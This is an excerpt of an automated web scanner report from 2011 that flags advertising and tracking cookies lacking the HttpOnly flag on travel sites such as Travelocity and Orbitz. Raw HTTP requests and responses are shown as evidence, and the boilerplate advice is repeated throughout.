The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html xmlns:fb="http://www.facebook.com/2008/fbml"> <head> <meta http-equiv="content-type" content="text/html ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Sun, 02 Oct 2011 23:50:07 GMT Content-Length: 8096 Connection: close Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net
var cid='';function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /adServer/impressions?publisher_session_id=74C1C04EA1B1607D7CD2E1313B9B2779.p0617&cache_buster=1317600538540&product_category=hotels&site=TRAVELOCITY&time_zone_offset=300&submarket_id=MA134-0100&rooms=1&travelers=1&ad_unit_id=5&hotel_property_ids=4810_114273_46356_10677_601_41209_48167_28920_4643_25625_12989_1013_13360_64654_44777_9773_11430_10448_46065_32162_20077_1228_12056_34410_9074_202264_620_914_7745_27993_79419_50883_102143_12018_9817_2841_13114_2004_70926_1322_58534_774_12062_48559_26931_2738_15077_44999_52173_3_1747_20114_26186_65482_52374_22259_56985_19411_22479_32159_85128_16231_2844_18685_64276_57481_2837_1213_28041_11122_34000_35409_75432_80723_34758_24713_35992_34361_49791_54902_31216_7256_9239_50684_28588_16565_25026_33473_16477_35131_35054_24709_23560_22574_26118_138019_44277_4680_309_45625_39186_30198_44375_85127_63829_7921_31749_8178_42595_20007_119214_119432_119478_40415_103982_10487_10678_14412_21745_23568_25299_26117_30034_35838_41236_4470_49886_56521_59519_62421_64032_8867_10158_10348_13_25492_27425_54939_6073_18969_119779_119627_44593_62214_8046_33150_111060_64750_144426_138764_139993_121079_123761_124226_141217_45783_60995_80644 HTTP/1.1 Host: a.intentmedia.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://travel.travelocity.com/hotel/HotelAvailability.do;jsessionid=74C1C04EA1B1607D7CD2E1313B9B2779.p0617?Service=TRAVELOCITY&SEQ=1317600526540922011&pathIndicator=HOTEL_FRONTDOOR&leavingDate=mm/dd/yyyy&returningDate=mm/dd/yyyy&city=bos&cityCountryCode=US&dateFormat=mm/dd/yyyy&searchMode=city& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/javascript; charset=ISO-8859-1 Date: Mon, 03 Oct 2011 00:09:04 GMT Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI COM NAV INT" Server: Jetty(6.1.17) Set-Cookie: intentmedia_user_id=27f4839b-213a-4016-9212-fcfa87390629;Path=/;Expires=Wed, 02-Oct-13 00:09:04 GMT Via: 1.1 a.intentmedia.net Content-Length: 259 Connection: keep-alive
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookies were issued by the application and do not have the HttpOnly flag set:
id=cadfdd83c0000d7||t=1317602399|et=730|cs=002213fd48bae36ca9fa1ef88a; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:39:59 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:39:59 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Date: Mon, 03 Oct 2011 00:39:59 GMT Location: http://s0.2mdn.net/viewad/2195126/4-1.gif Cache-Control: no-cache Pragma: no-cache Set-Cookie: id=cadfdd83c0000d7||t=1317602399|et=730|cs=002213fd48bae36ca9fa1ef88a; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:39:59 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:39:59 GMT Server: GFE/2.0 Content-Type: text/html
The following cookies were issued by the application and do not have the HttpOnly flag set:
id=ca5b4d83c000017||t=1317599554|et=730|cs=002213fd4884e3bed7d9e725fe; path=/; domain=.doubleclick.net; expires=Tue, 01 Oct 2013 23:52:34 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 01 Oct 2011 23:52:34 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 7472 Set-Cookie: id=ca5b4d83c000017||t=1317599554|et=730|cs=002213fd4884e3bed7d9e725fe; path=/; domain=.doubleclick.net; expires=Tue, 01 Oct 2013 23:52:34 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 01 Oct 2011 23:52:34 GMT Date: Sun, 02 Oct 2011 23:52:34 GMT Expires: Sun, 02 Oct 2011 23:52:34 GMT Cache-Control: private
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
id=c28c1d83c000039||t=1317600006|et=730|cs=002213fd48e65c670a029fff3e; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:00:06 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:00:06 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 7661 Set-Cookie: id=c28c1d83c000039||t=1317600006|et=730|cs=002213fd48e65c670a029fff3e; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:00:06 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:00:06 GMT Date: Mon, 03 Oct 2011 00:00:06 GMT Expires: Mon, 03 Oct 2011 00:00:06 GMT Cache-Control: private
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
id=c15cfd83c000083||t=1317600590|et=730|cs=002213fd480e0d8c5cbf724fda; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:09:50 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:09:50 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 4435 Set-Cookie: id=c15cfd83c000083||t=1317600590|et=730|cs=002213fd480e0d8c5cbf724fda; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:09:50 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:09:50 GMT Date: Mon, 03 Oct 2011 00:09:50 GMT Expires: Mon, 03 Oct 2011 00:09:50 GMT Cache-Control: private
document.write('<!-- Template Id = 2593 Template Name = Banner Creative (Flash) - In Page -->\n<!-- Copyright 2006 DoubleClick Inc., All rights reserved. -->\n<script src=\"http://s0.2mdn.net/879366/ ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
id=ce2ced83c000015||t=1317600592|et=730|cs=002213fd48e3531570c028be26; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:09:52 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:09:52 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 8491 Set-Cookie: id=ce2ced83c000015||t=1317600592|et=730|cs=002213fd48e3531570c028be26; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:09:52 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:09:52 GMT Date: Mon, 03 Oct 2011 00:09:52 GMT Expires: Mon, 03 Oct 2011 00:09:52 GMT Cache-Control: private
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Fri Sep 16 16:30:33 EDT 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
id=cc4c0d83c0000c2||t=1317600005|et=730|cs=002213fd48de979b12208ed0a7; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:00:05 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:00:05 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 5952 Set-Cookie: id=cc4c0d83c0000c2||t=1317600005|et=730|cs=002213fd48de979b12208ed0a7; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:00:05 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:00:05 GMT Date: Mon, 03 Oct 2011 00:00:05 GMT Expires: Mon, 03 Oct 2011 00:00:05 GMT Cache-Control: private
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Wed Sep 07 14:26:44 EDT 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
id=c2dc0d83c00000a||t=1317599968|et=730|cs=002213fd481295e253bf9da118; path=/; domain=.doubleclick.net; expires=Tue, 01 Oct 2013 23:59:28 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 01 Oct 2011 23:59:28 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 463 Set-Cookie: id=c2dc0d83c00000a||t=1317599968|et=730|cs=002213fd481295e253bf9da118; path=/; domain=.doubleclick.net; expires=Tue, 01 Oct 2013 23:59:28 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 01 Oct 2011 23:59:28 GMT Date: Sun, 02 Oct 2011 23:59:28 GMT Expires: Sun, 02 Oct 2011 23:59:28 GMT Cache-Control: private
The following cookies were issued by the application and do not have the HttpOnly flag set:
id=c9aced83c00000a|644190/486643/15250|t=1317600576|et=730|cs=002213fd4868e541ded676c08a; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:09:36 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:09:36 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://www.orbitz.com/psi?type=hotel&market=Boston,United%20States&checkin=2011-10-04&checkout=2011-10-07&guests=1&rooms=1&WT.mc_id=o_igo_merch_city_dated&WT.mc_ev=click&gcid=C11287x600-CYBoston,United%20States Set-Cookie: id=c9aced83c00000a|644190/486643/15250|t=1317600576|et=730|cs=002213fd4868e541ded676c08a; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:09:36 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:09:36 GMT Date: Mon, 03 Oct 2011 00:09:36 GMT Server: GFE/2.0 Content-Type: text/html
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
var prwin=window;if(!prwin.prRefs){prwin.prRefs={};};prwin.prSet=function(n,v){if((typeof(n)!='undefined')&&(typeof(v)!='undefined')){prwin.prRefs[n]=v;}};prwin.prGet=function(n){if(typeof(prwin.prRef ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jsonp?callback=jsonp1317602099165&_=1317602106541 HTTP/1.1 Host: api.wipmania.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.trip.com/?type=air&utm_source=orbitz&utm_medium=crpopunder&utm_content=air&utm_campaign=triplooking&cmpid=1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: nginx Date: Mon, 03 Oct 2011 00:01:20 GMT Content-Type: image/gif Connection: close Set-Cookie: BMX_G=method%2D%3E%2D1%2Cts%2D%3E1317599974%2E004%2Cwait%2D%3E10000%2C; path=/; domain=.voicefive.com; Content-length: 42 P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent
The following cookie was issued by the application and does not have the HttpOnly flag set:
ar_p119936314=exp=2&initExp=Sun Oct 2 23:59:13 2011&recExp=Mon Oct 3 00:00:22 2011&prad=71054945&arc=43921374&; expires=Sun 01-Jan-2012 00:00:22 GMT; path=/; domain=.voicefive.com;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
cc.i.10449=13713%7Cguardian.co.uk%7C5827704%7CRubicon%7C10449%7Cnamemedia%7C11720%7Cbroad; Domain=chango.com; expires=Tue, 01 Nov 2011 23:58:02 GMT; Path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /users/20826/userfly.js HTTP/1.1 Host: asset.userfly.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.sabretravelnetwork.com/map.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 302 Moved Temporarily Server: GlassFish v3 CW-Server: cw-app605 Cache-Control: no-cache, no-store Set-Cookie: V=PpAVCxNh2PJr99f871d6edb7aea19dd0bf8; Domain=.contextweb.com; Expires=Wed, 26-Sep-2012 23:50:17 GMT; Path=/ Set-Cookie: pb_rtb_ev="1:537085.439524AE8C6B634E021F5F7802166020.0|535461.2925993182975414771.0|535039.NPgmRuqc1g7o5ImOP5HZYnndqUL92n1F.0|530739.99f871d6ab8391d98e386b3c.0|538569.6c3113bb-f725-48c4-b3a2-8b266db2aca9.0|534301.d1b27788-0a91-4596-9a96-e9dad20b3180.0|535495.b6ae888c-d95b-11e0-b096-0025900e0834.0|531292.OO-00000000000000000.0|537583.f9bdca69-e609-4297-9145-48ea56a0756c.0"; Version=1; Domain=.contextweb.com; Max-Age=31536000; Expires=Mon, 01-Oct-2012 23:50:17 GMT; Path=/ Location: http://m.xp1.ru4.com/meta?_o=179638&_t=dm&ssv_p=cw&ssv_u=OO-00000000000000000 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Content-Length: 239 Date: Sun, 02 Oct 2011 23:50:17 GMT P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
<html> <head><title>Document moved</title></head> <body><h1>Document moved</h1> This document has moved <a href="http://m.xp1.ru4.com/meta?_o=179638&_t=dm&ssv_p=cw&ssv_u=OO-000000000000 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /___waseq.img on this server.</p> < ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 302 Object moved Cache-Control: no-store Content-Length: 0 Expires: 0 Location: http://www.cmegroup.com/advance/ P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC" Set-Cookie: ach00=eb2a/1c72:ec40/2f33:233cf/1a43a:8bff/7db; expires=Wednesday, 02-Oct-2013 00:00:00 GMT; path=/; domain=.atdmt.com Set-Cookie: ach01=da2c1b5/1c72/e2f178b/eb2a/4e67d23e:da2c0cc/1c72/85c9f4b/eb2a/4e67d832:ca9bfb6/2f33/14f1ae7d/ec40/4e67d8e2:e1f70b5/1a43a/1403b670/233cf/4e73f21b:c766ac0/7db/15006974/8bff/4e89013e; expires=Wednesday, 02-Oct-2013 00:00:00 GMT; path=/; domain=.atdmt.com Date: Mon, 03 Oct 2011 00:26:39 GMT Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
S=s=2a9iqdd78i5c1&t=1317606785;path=/; expires=
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 302 Found Date: Mon, 03 Oct 2011 01:53:05 GMT P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Set-Cookie: S=s=2a9iqdd78i5c1&t=1317606785;path=/; expires= Location: http://r.turn.com/r/cms/id/0/ddc/1/pid/43/uid/?xid=u02DzKG_.KFBo5S2yyqljPCE Cache-Control: private Connection: close Content-Type: text/plain; charset=utf-8 Content-Length: 792
HTTP/1.1 302 Found Date: Mon, 03 Oct 2011 01:53:05 GMT P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PU ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dcs4mzzicc2ep3maahjx8kl5c_7e2i/dcs.gif?&dcsdat=1317600406178&dcssip=www.orbitz.com&dcsuri=/&page=/&WT.tz=-5&WT.bh=19&WT.ul=en-US&WT.cd=16&WT.sr=1920x1200&WT.jo=Yes&WT.ti=Orbitz%20Travel:%20Airline%20Tickets,%20Cheap%20Hotels,%20Car%20Rentals,%20Vacations%20%26%20Cruises&WT.js=Yes&WT.jv=1.5&WT.bs=1074x850&WT.fi=Yes&WT.fv=10.3&WT.dl=0&WT.sv=egapp27p&WT.wtsv=1&WT.co_f=50.23.123.106-1472814720.30179680&WT.vt_f=1&WT.vt_f_a=1&WT.vt_f_s=1&WT.vt_f_d=1&WT.vt_f_tlv=0&WT.vt_f_tlh=0&WT.vt_sid=50.23.123.106-1472814720.30179680.1317600406325&hostname=www.orbitz.com&avid=10644782471317600406435&tab=QS&strf=7&b=A&wsid=71A4AF1632EAB3B1F4E0C49149EEC65B&dsrc=7&pos=ORBC&ASimp=1&wtEvtSrc=www.orbitz.com/ HTTP/1.1 Host: ctix8.cheaptickets.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:06:49 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: ACOOKIE=C8ctADUwLjIzLjEyMy4xMDYtMTQ3MjgxNDcyMC4zMDE3OTY4MAAAAAAAAAABAAAAPXQAAJn8iE6Z/IhOAQAAABQuAACZ/IhOmfyITgAAAAA-; path=/; expires=Thu, 30-Sep-2021 00:06:49 GMT P3P: CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Pragma: no-cache Expires: -1 Cache-Control: no-cache Content-type: image/gif Content-Length: 67
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:11:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: ACOOKIE=C8ctADUwLjIzLjEyMy4xMDYtMTQ3MjgxNDcyMC4zMDE3OTY4MAAAAAAAAAACAAAAPXQAAML9iE6Z/IhO/ucAAML9iE6D/YhOAQAAABQuAADC/YhOmfyITgAAAAA-; path=/; expires=Thu, 30-Sep-2021 00:11:46 GMT P3P: CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Pragma: no-cache Expires: -1 Cache-Control: no-cache Content-type: image/gif Content-Length: 67
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:40:11 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: ACOOKIE=C8ctADUwLjIzLjEyMy4xMDYtMTQ3MjgxNDcyMC4zMDE3OTY4MAAAAAAAAAADAAAAPXQAAAQEiU6Z/IhO/ucAAAUEiU6D/YhO+XEAAGsEiU4ABIlOAQAAABQuAABrBIlOmfyITgAAAAA-; path=/; expires=Thu, 30-Sep-2021 00:40:11 GMT P3P: CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Pragma: no-cache Expires: -1 Cache-Control: no-cache Content-type: image/gif Content-Length: 67
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"> <script type="text ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
ZFFAbh=977B826,20|121_977#365;expires=Sun, 01 Jan 2012 00:15:53 GMT;domain=.zedo.com;path=/;
ZFFBbh=1006B826,20|121_977#0;expires=Tue, 02 Oct 2012 00:15:53 GMT;domain=.zedo.com;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
90010394_reset=1317600594;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
